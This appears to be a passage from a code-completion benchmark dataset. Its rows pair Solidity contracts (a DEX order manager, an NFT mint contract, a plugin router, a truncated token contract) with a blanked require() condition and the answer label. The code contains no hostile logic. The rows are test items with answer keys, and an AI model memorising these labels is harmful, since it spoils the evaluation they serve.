comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"Validation failed" | // SPDX-License-Identifier: UNLICENSED
// Uruloki DEX is NOT LICENSED FOR COPYING.
// Uruloki DEX (C) 2022. All Rights Reserved.
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
interface IUniswapV2Router {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function getAmountsOut(
uint amountIn,
address[] calldata path
) external view returns (uint[] memory amounts);
}
interface IOrderMgr {
//// Define enums
enum OrderType {
TargetPrice,
PriceRange
}
enum OrderStatus {
Active,
Cancelled,
OutOfFunds,
Completed
}
//// Define structs
// One time order, it's a base order struct
struct OrderBase {
address userAddress;
address pairedTokenAddress;
address tokenAddress;
OrderType orderType;
uint256 targetPrice;
bool isBuy;
uint256 maxPrice;
uint256 minPrice;
OrderStatus status;
uint256 amount;
uint256 predictionAmount;
bool isContinuous;
}
// Continuous Order, it's an extended order struct, including the base order struct
struct Order {
OrderBase orderBase;
uint256 numExecutions;
uint256 resetPercentage;
bool hasPriceReset;
}
function createOneTimeOrder(
address userAddress,
address pairedTokenAddress,
address tokenAddress,
bool isBuy,
uint256 targetPrice,
uint256 minPrice,
uint256 maxPrice,
uint256 amount,
uint256 predictionAmount
) external returns (uint256);
function createContinuousOrder(
address userAddress,
address pairedTokenAddress,
address tokenAddress,
bool isBuy,
uint256 targetPrice,
uint256 minPrice,
uint256 maxPrice,
uint256 amount,
uint256 predictionAmount,
uint256 resetPercentage
) external returns (uint256);
function updateOrder(
uint256 orderId,
address pairedTokenAddress,
address tokenAddress,
bool isBuy,
uint256 targetPrice,
uint256 minPrice,
uint256 maxPrice,
uint256 amount,
uint256 predictionAmount,
uint256 resetPercentage
) external;
function cancelOrder(uint256 orderId) external returns (uint256);
function orderCounter() external view returns (uint256);
function getOrder(uint256 orderId) external view returns (Order memory);
function setOrderStatus(
uint256 orderId,
IOrderMgr.OrderStatus status
) external;
function incNumExecutions(uint256 orderId) external;
function setHasPriceReset(uint256 orderId, bool flag) external;
}
interface IERC20Ext is IERC20 {
function decimals() external view returns (uint8);
}
contract UrulokiDEX is ReentrancyGuard {
//// Define events
event OneTimeOrderCreated(uint256 orderId);
event ContinuousOrderCreated(uint256 orderId);
event OneTimeOrderEdited(uint256 orderId);
event ContinuousOrderEdited(uint256 orderId);
event OrderCanceled(uint256 orderId);
event ExecutedOutOfPrice(uint256 orderId, bool isBuy, uint256 price);
event ExecutedOneTimeOrder(
uint256 orderId,
bool isBuy,
uint256 pairAmount,
uint256 tokenAmount,
uint256 price
);
event ExecutedContinuousOrder(
uint256 orderId,
bool isBuy,
uint256 price
);
event FundsWithdrawn(
address userAddress,
address tokenAddress,
uint256 amount
);
event BackendOwner(address newOwner);
event OutOfFunds(uint256 orderId);
event SwapFailed(uint256 orderId);
//// Define constants
address private constant UNISWAP_V2_ROUTER =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
//// Define variables
mapping(address => mapping(address => uint256)) public balances;
IUniswapV2Router private uniswapRouter =
IUniswapV2Router(UNISWAP_V2_ROUTER);
address public backend_owner;
address public orderMgrAddress;
IOrderMgr _orderMgr;
constructor() {
}
modifier initOneTimeOrderBalance (
uint256 orderId
) {
}
function validateOneTimeOrder(
address pairedTokenAddress,
address tokenAddress,
bool isBuy,
uint256 amount
) internal returns (bool) {
}
// set backend owner address
function setBackendOwner(address new_owner) public {
}
function setOrderMgr(address _orderMgrAddress) public {
}
/**
* @notice allows users to make a deposit
* @dev token should be transferred from the user wallet to the contract
* @param tokenAddress token address
* @param amount deposit amount
*/
function addFunds(
address tokenAddress,
uint256 amount
) external nonReentrant {
}
/**
* @dev funds withdrawal external call
* @param tokenAddress token address
* @param amount token amount
*/
function withdrawFunds(
address tokenAddress,
uint256 amount
) external nonReentrant {
}
/**
* @notice create non-continuous price range order
* @param pairedTokenAddress pair address
* @param tokenAddress token address
* @param isBuy buy or sell
* @param minPrice minimum price
* @param maxPrice maximum price
* @param amount token amount
* @param predictionAmount predictionAmount
*/
function createNonContinuousPriceRangeOrder(
address pairedTokenAddress,
address tokenAddress,
bool isBuy,
uint256 minPrice,
uint256 maxPrice,
uint256 amount,
uint256 predictionAmount
) external nonReentrant {
require(<FILL_ME>)
uint256 id = _orderMgr.createOneTimeOrder(
msg.sender,
pairedTokenAddress,
tokenAddress,
isBuy,
0,
minPrice,
maxPrice,
amount,
predictionAmount
);
// Emit an event
emit OneTimeOrderCreated(id);
}
/**
* @notice creates a non-continuous order with a target price
* @dev target price order is only executed when the market price is equal to the target price
* @param pairedTokenAddress pair address
* @param tokenAddress token address
* @param targetPrice target price
* @param isBuy buy or sell order
* @param amount token amount
* @param predictionAmount predictionAmount
*/
function createNonContinuousTargetPriceOrder(
address pairedTokenAddress,
address tokenAddress,
bool isBuy,
uint256 targetPrice,
uint256 amount,
uint256 predictionAmount
) external nonReentrant {
}
/**
* @notice creates a continuous order with price range
* @param pairedTokenAddress pair address
* @param tokenAddress token address
* @param isBuy buy or sell order
* @param minPrice minimum price
* @param maxPrice maximum price
* @param amount token amount - this will be the amount of tokens to buy or sell, based on the token address provided
* @param predictionAmount predictionAmount
* @param resetPercentage decimal represented as an int with 2 places of precision
*/
function createContinuousPriceRangeOrder(
address pairedTokenAddress,
address tokenAddress,
bool isBuy,
uint256 minPrice,
uint256 maxPrice,
uint256 amount,
uint256 predictionAmount,
uint256 resetPercentage
) external nonReentrant {
}
/**
* @notice creates a continuous order with a target price
* @param pairedTokenAddress pair address
* @param tokenAddress token address
* @param isBuy buy or sell order
* @param targetPrice target price
* @param amount token amount - this will be the amount of tokens to buy or sell, based on the token address provided
* @param resetPercentage decimal represented as an int with 2 places of precision
*/
function createContinuousTargetPriceOrder(
address pairedTokenAddress,
address tokenAddress,
bool isBuy,
uint256 targetPrice,
uint256 amount,
uint256 predictionAmount,
uint256 resetPercentage
) external nonReentrant {
}
/**
* @dev cancel exist order
* @param orderId order id
*/
function cancelOrder(uint256 orderId) external {
}
/**
* @notice process a one-time order
* @dev internal function
* @param orderId id of the order
*/
function _processOneTimeOrder(IOrderMgr.Order memory order, uint256 orderId) internal returns (bool) {
}
/**
* @notice process a continuous order
* @dev internal function
* @param orderId id of the order
*/
function _processContinuousOrder(IOrderMgr.Order memory order, uint256 orderId) internal returns (bool){
}
/**
* @dev internal function to process a continuous price range order
* @param order the order memory instance
* @param orderId order id
*/
function _processContinuousPriceRangeOrder(
IOrderMgr.Order memory order,
uint256 orderId
) internal returns(bool) {
}
/**
* @dev internal function to process a continuous target price order
* @param order the order memory instance
* @param orderId order id
*/
function _processContinuousTargetPriceOrder(
IOrderMgr.Order memory order,
uint256 orderId
) internal returns (bool) {
}
function processOrders(uint256[] memory orderIds) external {
}
function _swapTokens(
address _fromTokenAddress,
address _toTokenAddress,
uint256 _amount,
uint256 _predictionAmount
) internal returns (uint256 amount, bool status ) {
}
function _getPairPrice(
address _fromTokenAddress,
address _toTokenAddress,
uint256 _amount
) internal view returns (uint256) {
}
function getPairPrice(
address _fromTokenAddress,
address _toTokenAddress
) external view returns (uint256) {
}
/*
* @notice edit a continuous order with price range
* @param orderId order id
* @param pairedTokenAddress pair address
* @param tokenAddress token address
* @param isBuy buy or sell order
* @param targetPrice target price
* @param amount token amount - this will be the amount of tokens to buy or sell, based on the token address provided
* @param resetPercentage decimal represented as an int with 2 places of precision
*/
function editContinuousTargetPriceOrder(
uint256 orderId,
address pairedTokenAddress,
address tokenAddress,
bool isBuy,
uint256 targetPrice,
uint256 amount,
uint256 predictionAmount,
uint256 resetPercentage
) external {
}
/**
* @notice edit a continuous order with price range
* @param orderId order id
* @param pairedTokenAddress pair address
* @param tokenAddress token address
* @param isBuy buy or sell order
* @param minPrice minimum price
* @param maxPrice maximum price
* @param amount token amount - this will be the amount of tokens to buy or sell, based on the token address provided
* @param resetPercentage decimal represented as an int with 2 places of precision
*/
function editContinuousPriceRangeOrder(
uint256 orderId,
address pairedTokenAddress,
address tokenAddress,
bool isBuy,
uint256 minPrice,
uint256 maxPrice,
uint256 amount,
uint256 predictionAmount,
uint256 resetPercentage
) external {
}
/**
* @notice edit non-continuous price range order
* @param orderId order id
* @param pairedTokenAddress pair address
* @param tokenAddress token address
* @param isBuy buy or sell
* @param minPrice minimum price
* @param maxPrice maximum price
* @param amount token amount
*/
function editNonContinuousPriceRangeOrder(
uint256 orderId,
address pairedTokenAddress,
address tokenAddress,
bool isBuy,
uint256 minPrice,
uint256 maxPrice,
uint256 amount,
uint256 predictionAmount
)
external
nonReentrant
initOneTimeOrderBalance(orderId)
{
}
/**
* @notice edit a non-continuous order with a target price
* @dev target price order is only executed when the market price is equal to the target price
* @param orderId order id
* @param pairedTokenAddress pair address
* @param tokenAddress token address
* @param targetPrice target price
* @param isBuy buy or sell order
* @param amount token amount
*/
function editNonContinuousTargetPriceOrder(
uint256 orderId,
address pairedTokenAddress,
address tokenAddress,
uint256 targetPrice,
bool isBuy,
uint256 amount,
uint256 predictionAmount
)
external
nonReentrant
initOneTimeOrderBalance(orderId)
{
}
}
| validateOneTimeOrder(pairedTokenAddress,tokenAddress,isBuy,amount),"Validation failed" | 80,553 | validateOneTimeOrder(pairedTokenAddress,tokenAddress,isBuy,amount) |
"There's no more free mints =/" | // SPDX-License-Identifier: MIT
// THE ETHEREUM LODGE - 2022
//
// ** **
// ************** *****
// **$$$$ **** $$*******
// * $$$$$$$$$ $$* ** *$**
// * $ $$$$$* $* *$$$$$$$$$**
// * $$$$$$$$$$$$$ $$$$$$$$$**$$*
// $$ $$$$$$$ $$$$$$$$ $$$$$$$$$$$$
// *$ *$$$$$$$$$$$*$*$*$ *****$***
// **$$ $$$$$$*$ ** [[[[[[[ [[[
// **$**$$**$$$@@ [ ##### ## #
// *$$$*****$$$$$$ ..### ###
// **$$$$$$$$ [[$$ ## +++ ###
// $$$$$$**[[ [[$$ # ##
// $$$***#[ # ### # ##
// $$$$$$ ##++ #+ ## ######
// $$$$$# ### ## ##
// $$$$$# ## ######
// $$$### ## ## #####
// $#$ # +## # ## ## #
// $$$$ # +++#######
// $$* ##############
// *$$# # ++ ++++ ######
// $$### ++### ## ++
// $# +# #######+ +##+ ## ##
// *#+ ## ++###+### + ###+ ##
// ## ##+# # ++ +++++## + #++## ##
// ##+# ## ++##+ ###++ ##++ #
// ##+ + ++ +##+ + +######## # #
// ###+ ++++## ++ # # ##+ ##
// #### + ++ +++++# ## ##+ #
// ###++ + ##############+ +##+##
// ##+ ## ++#+ ++#########++## "
// ####+ +#+ +++###############
// ### ++++++#+++++##########
// ##+ ++ + ####+++++
// ## ++ +++ ## ++
// ##+ ++ +++++ + # # ##+++
// # ++ + ++ ++@++ ++##### # ++
// # + ####+ +++++++###++####+##
// # + ####+ +++++++###++####+##
// # + ###++ +++++######## #######
// # +++ ####++++@ +++++++++### ### #
// #+ #+ ###++++++++ ++++++# ##+++#
// ##+ + #### #####++++ ++++## ###++
// ##++ ###########++ ++++++# ## +
// ###+ ##########+++ #++# ##
// #+ + +########++ ++##########
// ###+ # ###+++++ +++++#####
// ###+ + # ##+++ +++++#######
// ##++##+ ## ##++ ## ###########
// ##+##+ ### ###### ##### ###++++#####
// ## ## ## ## ###### ++ #+ ######
// ##+# ## ## ######+++++ ++ #######
// ### #+ ### ## ######## ## ####
// ######+ ## ##++ ##+ ## ## ##
// +### ####+## ## + #+
// ##++ + ###### ## ##
// +## ++ # +# @@@ #
// +# + # ## ##
// ## + # # # #+
// ##+ # # # + #+
// ##+ # # ## ### ###
// ##+ + ### ## #### +##
// #++ # ##+ +# ######## ####
//##++ ## ## ++ #### #####
// ##++ ++ # +## ## ######
//+# + +# +# +#+ ##### ######+
// # + +# # +#+ ############ +##
// # + ## +# +###+ ######### +###++ +#
// ##++ + # # # ### # #######++ #
// ##++ + # ## +### #+# #+#### #
// ##+ +## ## ## +###++# #++#### #
// # + + +# # +#+++# #+++###+ #
// # # # +++++ +#+++# #+++###++ ##
// +# # # #####+ +#+++# #+++####++ #
// # ## ### ###++ ++##+++# #+++#### #
// ######## ## ### ###++## ##++## #
// ### ## ## ## ########### #
// ##+ ### ##### ######### #
// ##### ### ##+ ## ## ### +
// ########## # ##++ +++###++++ +
// ########## # #++ ++##### ++++ ++
// ++## ++ ++ ## #+ ++### #++++ +
// ########### ## #+ ++++##+++++++ +
// ##+++ # #### ++ ++### #+++++++ ++
// #+#### ##++ +++##+ #####++ + ++
// ##### + + ### ++++ ++### #####++ + ++
// ########### #++++ ++### #####++ + +
// +###+ ##### ++ ++ + +# +# #++ + +
// ############## ## +### ++ ++
// ####+++++###+ ## ## ++ +++
// #####+++##### ## ##+# ++
// ########+###++ # ### +
// ###### # ## # # ##++ +
// ## ## ## ## ## # # # ## +
// #### # ++ # ## +# #+ +
// ## ++ # ## ##### ++
// ###### # +### ####+ +
// # #### #### #####+ +
// +#+ ## +#### ## ####+++ + #
// ## # ####### ###### ### ##
// # ## # ### ######+++ ##
// ######### ##### ######+++ #
// ## # # ## # # # ## # #
// ## # + # ## +## + + +
// # ### # # # ### #
// # ###+++ #+ ## ++ #
// ## ##### ## ## ## ####
// # ###### # ## # + +
// # + + +# # # + + + +
// # + ## # # + + + +
// #+ ++## ## # # #+ +
// #+ + + +# ### # +
// # + + + # +# + +
// # + + + # ### ##
// # ###++ ## ## #
// # # ## ####
// # # #+ ###
// ## # ### ##
// ## # ## ##
// ### ## #
// +## +##
// ## #
// +# #
// +#++ "
// ## + #
// ##+ ##
// # # +#
// #+ ###
// +# + ++#
// ## + +#
// ## + +##
// ### #+#
// #+ + #
// ## +##
// #+ # # # +# #
// ##+ # # # ##
// #+##+# ####+
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract ETHLodge is ERC721, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
string _baseUri;
string _contractUri;
uint public constant MAX_SUPPLY = 8800;
uint public maxFreeMint = 300;
uint public price = 0.001 ether;
bool public isSalesActive = true;
uint public maxFreeMintPerWallet = 80;
mapping(address => uint) public addressToFreeMinted;
constructor() ERC721("Ethereum Lodge", "ETHL") {
}
function _baseURI() internal view override returns (string memory) {
}
function freeMint() external {
require(isSalesActive, "Ethereum Lodge sales are not active.");
require(<FILL_ME>)
require(addressToFreeMinted[msg.sender] < maxFreeMintPerWallet, "Sorry, you already minted a Ethereum Lodge for free");
addressToFreeMinted[msg.sender]++;
safeMint(msg.sender);
}
function mint(uint quantity) external payable {
}
function safeMint(address to) internal {
}
function totalSupply() public view returns (uint) {
}
function contractURI() public view returns (string memory) {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function setContractURI(string memory newContractURI) external onlyOwner {
}
function toggleSales() external onlyOwner {
}
function setPrice(uint newPrice) external onlyOwner {
}
function withdrawAll() external onlyOwner {
}
}
| totalSupply()<maxFreeMint,"There's no more free mints =/" | 80,571 | totalSupply()<maxFreeMint |
"Sorry, you already minted a Ethereum Lodge for free" | // SPDX-License-Identifier: MIT
// THE ETHEREUM LODGE - 2022
//
// ** **
// ************** *****
// **$$$$ **** $$*******
// * $$$$$$$$$ $$* ** *$**
// * $ $$$$$* $* *$$$$$$$$$**
// * $$$$$$$$$$$$$ $$$$$$$$$**$$*
// $$ $$$$$$$ $$$$$$$$ $$$$$$$$$$$$
// *$ *$$$$$$$$$$$*$*$*$ *****$***
// **$$ $$$$$$*$ ** [[[[[[[ [[[
// **$**$$**$$$@@ [ ##### ## #
// *$$$*****$$$$$$ ..### ###
// **$$$$$$$$ [[$$ ## +++ ###
// $$$$$$**[[ [[$$ # ##
// $$$***#[ # ### # ##
// $$$$$$ ##++ #+ ## ######
// $$$$$# ### ## ##
// $$$$$# ## ######
// $$$### ## ## #####
// $#$ # +## # ## ## #
// $$$$ # +++#######
// $$* ##############
// *$$# # ++ ++++ ######
// $$### ++### ## ++
// $# +# #######+ +##+ ## ##
// *#+ ## ++###+### + ###+ ##
// ## ##+# # ++ +++++## + #++## ##
// ##+# ## ++##+ ###++ ##++ #
// ##+ + ++ +##+ + +######## # #
// ###+ ++++## ++ # # ##+ ##
// #### + ++ +++++# ## ##+ #
// ###++ + ##############+ +##+##
// ##+ ## ++#+ ++#########++## "
// ####+ +#+ +++###############
// ### ++++++#+++++##########
// ##+ ++ + ####+++++
// ## ++ +++ ## ++
// ##+ ++ +++++ + # # ##+++
// # ++ + ++ ++@++ ++##### # ++
// # + ####+ +++++++###++####+##
// # + ####+ +++++++###++####+##
// # + ###++ +++++######## #######
// # +++ ####++++@ +++++++++### ### #
// #+ #+ ###++++++++ ++++++# ##+++#
// ##+ + #### #####++++ ++++## ###++
// ##++ ###########++ ++++++# ## +
// ###+ ##########+++ #++# ##
// #+ + +########++ ++##########
// ###+ # ###+++++ +++++#####
// ###+ + # ##+++ +++++#######
// ##++##+ ## ##++ ## ###########
// ##+##+ ### ###### ##### ###++++#####
// ## ## ## ## ###### ++ #+ ######
// ##+# ## ## ######+++++ ++ #######
// ### #+ ### ## ######## ## ####
// ######+ ## ##++ ##+ ## ## ##
// +### ####+## ## + #+
// ##++ + ###### ## ##
// +## ++ # +# @@@ #
// +# + # ## ##
// ## + # # # #+
// ##+ # # # + #+
// ##+ # # ## ### ###
// ##+ + ### ## #### +##
// #++ # ##+ +# ######## ####
//##++ ## ## ++ #### #####
// ##++ ++ # +## ## ######
//+# + +# +# +#+ ##### ######+
// # + +# # +#+ ############ +##
// # + ## +# +###+ ######### +###++ +#
// ##++ + # # # ### # #######++ #
// ##++ + # ## +### #+# #+#### #
// ##+ +## ## ## +###++# #++#### #
// # + + +# # +#+++# #+++###+ #
// # # # +++++ +#+++# #+++###++ ##
// +# # # #####+ +#+++# #+++####++ #
// # ## ### ###++ ++##+++# #+++#### #
// ######## ## ### ###++## ##++## #
// ### ## ## ## ########### #
// ##+ ### ##### ######### #
// ##### ### ##+ ## ## ### +
// ########## # ##++ +++###++++ +
// ########## # #++ ++##### ++++ ++
// ++## ++ ++ ## #+ ++### #++++ +
// ########### ## #+ ++++##+++++++ +
// ##+++ # #### ++ ++### #+++++++ ++
// #+#### ##++ +++##+ #####++ + ++
// ##### + + ### ++++ ++### #####++ + ++
// ########### #++++ ++### #####++ + +
// +###+ ##### ++ ++ + +# +# #++ + +
// ############## ## +### ++ ++
// ####+++++###+ ## ## ++ +++
// #####+++##### ## ##+# ++
// ########+###++ # ### +
// ###### # ## # # ##++ +
// ## ## ## ## ## # # # ## +
// #### # ++ # ## +# #+ +
// ## ++ # ## ##### ++
// ###### # +### ####+ +
// # #### #### #####+ +
// +#+ ## +#### ## ####+++ + #
// ## # ####### ###### ### ##
// # ## # ### ######+++ ##
// ######### ##### ######+++ #
// ## # # ## # # # ## # #
// ## # + # ## +## + + +
// # ### # # # ### #
// # ###+++ #+ ## ++ #
// ## ##### ## ## ## ####
// # ###### # ## # + +
// # + + +# # # + + + +
// # + ## # # + + + +
// #+ ++## ## # # #+ +
// #+ + + +# ### # +
// # + + + # +# + +
// # + + + # ### ##
// # ###++ ## ## #
// # # ## ####
// # # #+ ###
// ## # ### ##
// ## # ## ##
// ### ## #
// +## +##
// ## #
// +# #
// +#++ "
// ## + #
// ##+ ##
// # # +#
// #+ ###
// +# + ++#
// ## + +#
// ## + +##
// ### #+#
// #+ + #
// ## +##
// #+ # # # +# #
// ##+ # # # ##
// #+##+# ####+
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract ETHLodge is ERC721, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
string _baseUri;
string _contractUri;
uint public constant MAX_SUPPLY = 8800;
uint public maxFreeMint = 300;
uint public price = 0.001 ether;
bool public isSalesActive = true;
uint public maxFreeMintPerWallet = 80;
mapping(address => uint) public addressToFreeMinted;
constructor() ERC721("Ethereum Lodge", "ETHL") {
}
function _baseURI() internal view override returns (string memory) {
}
function freeMint() external {
require(isSalesActive, "Ethereum Lodge sales are not active.");
require(totalSupply() < maxFreeMint, "There's no more free mints =/");
require(<FILL_ME>)
addressToFreeMinted[msg.sender]++;
safeMint(msg.sender);
}
function mint(uint quantity) external payable {
}
function safeMint(address to) internal {
}
function totalSupply() public view returns (uint) {
}
function contractURI() public view returns (string memory) {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function setContractURI(string memory newContractURI) external onlyOwner {
}
function toggleSales() external onlyOwner {
}
function setPrice(uint newPrice) external onlyOwner {
}
function withdrawAll() external onlyOwner {
}
}
| addressToFreeMinted[msg.sender]<maxFreeMintPerWallet,"Sorry, you already minted a Ethereum Lodge for free" | 80,571 | addressToFreeMinted[msg.sender]<maxFreeMintPerWallet |
"Router: Not authorized" | // SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.0;
/// @author thirdweb
import "../interface/plugin/IRouter.sol";
import "../Multicall.sol";
import "../../eip/ERC165.sol";
import "../../external-deps/openzeppelin/utils/EnumerableSet.sol";
/**
* @author thirdweb.com
*/
library RouterStorage {
bytes32 public constant ROUTER_STORAGE_POSITION = keccak256("router.storage");
struct Data {
EnumerableSet.Bytes32Set allSelectors;
mapping(address => EnumerableSet.Bytes32Set) selectorsForPlugin;
mapping(bytes4 => IPluginMap.Plugin) pluginForSelector;
}
function routerStorage() internal pure returns (Data storage routerData) {
}
}
abstract contract Router is Multicall, ERC165, IRouter {
using EnumerableSet for EnumerableSet.Bytes32Set;
/*///////////////////////////////////////////////////////////////
State variables
//////////////////////////////////////////////////////////////*/
address public immutable pluginMap;
/*///////////////////////////////////////////////////////////////
Constructor + initializer logic
//////////////////////////////////////////////////////////////*/
constructor(address _pluginMap) {
}
/*///////////////////////////////////////////////////////////////
ERC 165
//////////////////////////////////////////////////////////////*/
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
/*///////////////////////////////////////////////////////////////
Generic contract logic
//////////////////////////////////////////////////////////////*/
fallback() external payable virtual {
}
receive() external payable {}
function _delegate(address implementation) internal virtual {
}
/*///////////////////////////////////////////////////////////////
External functions
//////////////////////////////////////////////////////////////*/
/// @dev Add functionality to the contract.
function addPlugin(Plugin memory _plugin) external {
require(<FILL_ME>)
_addPlugin(_plugin);
}
/// @dev Update or override existing functionality.
function updatePlugin(Plugin memory _plugin) external {
}
/// @dev Remove existing functionality from the contract.
function removePlugin(bytes4 _selector) external {
}
/*///////////////////////////////////////////////////////////////
View functions
//////////////////////////////////////////////////////////////*/
/// @dev View address of the plugged-in functionality contract for a given function signature.
function getPluginForFunction(bytes4 _selector) public view returns (address) {
}
/// @dev View all funtionality as list of function signatures.
function getAllFunctionsOfPlugin(address _pluginAddress) external view returns (bytes4[] memory registered) {
}
/// @dev View all funtionality existing on the contract.
function getAllPlugins() external view returns (Plugin[] memory registered) {
}
/*///////////////////////////////////////////////////////////////
Internal functions
//////////////////////////////////////////////////////////////*/
/// @dev View address of the plugged-in functionality contract for a given function signature.
function _getPluginForFunction(bytes4 _selector) public view returns (address) {
}
/// @dev Add functionality to the contract.
function _addPlugin(Plugin memory _plugin) internal {
}
/// @dev Update or override existing functionality.
function _updatePlugin(Plugin memory _plugin) internal {
}
/// @dev Remove existing functionality from the contract.
function _removePlugin(bytes4 _selector) internal {
}
function _canSetPlugin() internal view virtual returns (bool);
}
| _canSetPlugin(),"Router: Not authorized" | 80,611 | _canSetPlugin() |
"Router: plugin exists for function." | // SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.0;
/// @author thirdweb
import "../interface/plugin/IRouter.sol";
import "../Multicall.sol";
import "../../eip/ERC165.sol";
import "../../external-deps/openzeppelin/utils/EnumerableSet.sol";
/**
* @author thirdweb.com
*/
library RouterStorage {
bytes32 public constant ROUTER_STORAGE_POSITION = keccak256("router.storage");
struct Data {
EnumerableSet.Bytes32Set allSelectors;
mapping(address => EnumerableSet.Bytes32Set) selectorsForPlugin;
mapping(bytes4 => IPluginMap.Plugin) pluginForSelector;
}
function routerStorage() internal pure returns (Data storage routerData) {
}
}
abstract contract Router is Multicall, ERC165, IRouter {
using EnumerableSet for EnumerableSet.Bytes32Set;
/*///////////////////////////////////////////////////////////////
State variables
//////////////////////////////////////////////////////////////*/
address public immutable pluginMap;
/*///////////////////////////////////////////////////////////////
Constructor + initializer logic
//////////////////////////////////////////////////////////////*/
constructor(address _pluginMap) {
}
/*///////////////////////////////////////////////////////////////
ERC 165
//////////////////////////////////////////////////////////////*/
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
/*///////////////////////////////////////////////////////////////
Generic contract logic
//////////////////////////////////////////////////////////////*/
fallback() external payable virtual {
}
receive() external payable {}
function _delegate(address implementation) internal virtual {
}
/*///////////////////////////////////////////////////////////////
External functions
//////////////////////////////////////////////////////////////*/
/// @dev Add functionality to the contract.
function addPlugin(Plugin memory _plugin) external {
}
/// @dev Update or override existing functionality.
function updatePlugin(Plugin memory _plugin) external {
}
/// @dev Remove existing functionality from the contract.
function removePlugin(bytes4 _selector) external {
}
/*///////////////////////////////////////////////////////////////
View functions
//////////////////////////////////////////////////////////////*/
/// @dev View address of the plugged-in functionality contract for a given function signature.
function getPluginForFunction(bytes4 _selector) public view returns (address) {
}
/// @dev View all funtionality as list of function signatures.
function getAllFunctionsOfPlugin(address _pluginAddress) external view returns (bytes4[] memory registered) {
}
/// @dev View all funtionality existing on the contract.
function getAllPlugins() external view returns (Plugin[] memory registered) {
}
/*///////////////////////////////////////////////////////////////
Internal functions
//////////////////////////////////////////////////////////////*/
/// @dev View address of the plugged-in functionality contract for a given function signature.
function _getPluginForFunction(bytes4 _selector) public view returns (address) {
}
/// @dev Add functionality to the contract.
function _addPlugin(Plugin memory _plugin) internal {
RouterStorage.Data storage data = RouterStorage.routerStorage();
// Revert: default plugin exists for function; use updatePlugin instead.
try IPluginMap(pluginMap).getPluginForFunction(_plugin.functionSelector) returns (address) {
revert("Router: default plugin exists for function.");
} catch {
require(<FILL_ME>)
}
require(
_plugin.functionSelector == bytes4(keccak256(abi.encodePacked(_plugin.functionSignature))),
"Router: fn selector and signature mismatch."
);
data.pluginForSelector[_plugin.functionSelector] = _plugin;
data.selectorsForPlugin[_plugin.pluginAddress].add(bytes32(_plugin.functionSelector));
emit PluginAdded(_plugin.functionSelector, _plugin.pluginAddress);
}
/// @dev Update or override existing functionality.
function _updatePlugin(Plugin memory _plugin) internal {
}
/// @dev Remove existing functionality from the contract.
function _removePlugin(bytes4 _selector) internal {
}
function _canSetPlugin() internal view virtual returns (bool);
}
| data.allSelectors.add(bytes32(_plugin.functionSelector)),"Router: plugin exists for function." | 80,611 | data.allSelectors.add(bytes32(_plugin.functionSelector)) |
"Transfer amount exceeds the bag size." | /*
Name: Jodie Coin
Symbol: JODIE
Website: www.thejodiecoin.com/
Telegram: t.me/JodieCoinERC
Twitter: www.twitter.com/JodieCoin
SPDX-License-Identifier: None
*/
pragma solidity ^0.8.21;
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
